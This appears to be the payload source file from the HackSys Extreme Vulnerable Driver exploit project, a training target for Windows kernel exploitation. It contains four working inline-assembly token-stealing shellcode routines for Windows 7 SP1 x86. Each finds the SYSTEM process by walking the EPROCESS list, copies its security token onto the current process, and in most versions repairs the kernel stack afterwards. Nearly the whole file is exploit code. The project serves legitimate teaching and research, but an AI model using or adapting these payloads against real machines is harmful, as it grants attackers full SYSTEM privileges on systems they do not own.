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hacksysteam-HackSysExtremeV…/Exploit/Source/Payloads.c
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2016-03-07 12:54:31 +05:30

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7.6 KiB
C

/*++
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HackSys Extreme Vulnerable Driver Exploit
Author : Ashfaq Ansari
Contact: ashfaq[at]payatu[dot]com
Website: http://www.payatu.com/
Copyright (C) 2011-2015 Payatu Technologies. All rights reserved.
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
See the file 'LICENSE' for complete copying permission.
Module Name:
Payloads.c
Abstract:
This module implements the EoP payload used for privilege
escalation after gaining control of the instruction pointer
in kernel.
Test Bed:
These payloads have been tested on Windows 7 SP1 x86
TODO:
1. Add a better version of the EoP payload, basically DuplicateToken()
stuff.
2. Try to have a universal payload and add a better way to do Kernel
Recovery.
--*/
#include "Payloads.h"
#pragma warning(push)
#pragma warning(disable: 4731)
VOID TokenStealingShellcodeWin7() {
// Importance of Kernel Recovery
__asm {
; initialize
pushad ; save registers state
xor eax, eax ; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad ; restore registers state
; recovery
xor eax, eax ; Set NTSTATUS SUCCEESS
add esp, 12 ; fix the stack
pop ebp
ret 8
}
}
VOID TokenStealingShellcodeGSWin7() {
// Importance of Kernel Recovery
__asm {
; initialize
pushad ; save registers state
xor eax, eax ; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad ; restore registers state
; recovery
add esp, 0x418
mov ebx, [esp] ; restore the DbgPrint string
add esp, 0x42c
mov eax,esp
add eax, 0x18
mov edi,[eax] ; restore the pointer to Irp
xor eax, eax ; Set NTSTATUS SUCCEESS
pop ebp
ret 8
}
}
#pragma warning(pop)
VOID TokenStealingShellcodeWin7Generic() {
// No Need of Kernel Recovery as we are not corrupting anything
__asm {
; initialize
pushad ; save registers state
xor eax, eax ; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad ; restore registers state
}
}
VOID TokenStealingShellcodePoolOverflowWin7() {
__asm {
; initialize
pushad ; save registers state
xor eax, eax ; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad ; restore registers state
; recovery
mov eax, 0x1
}
}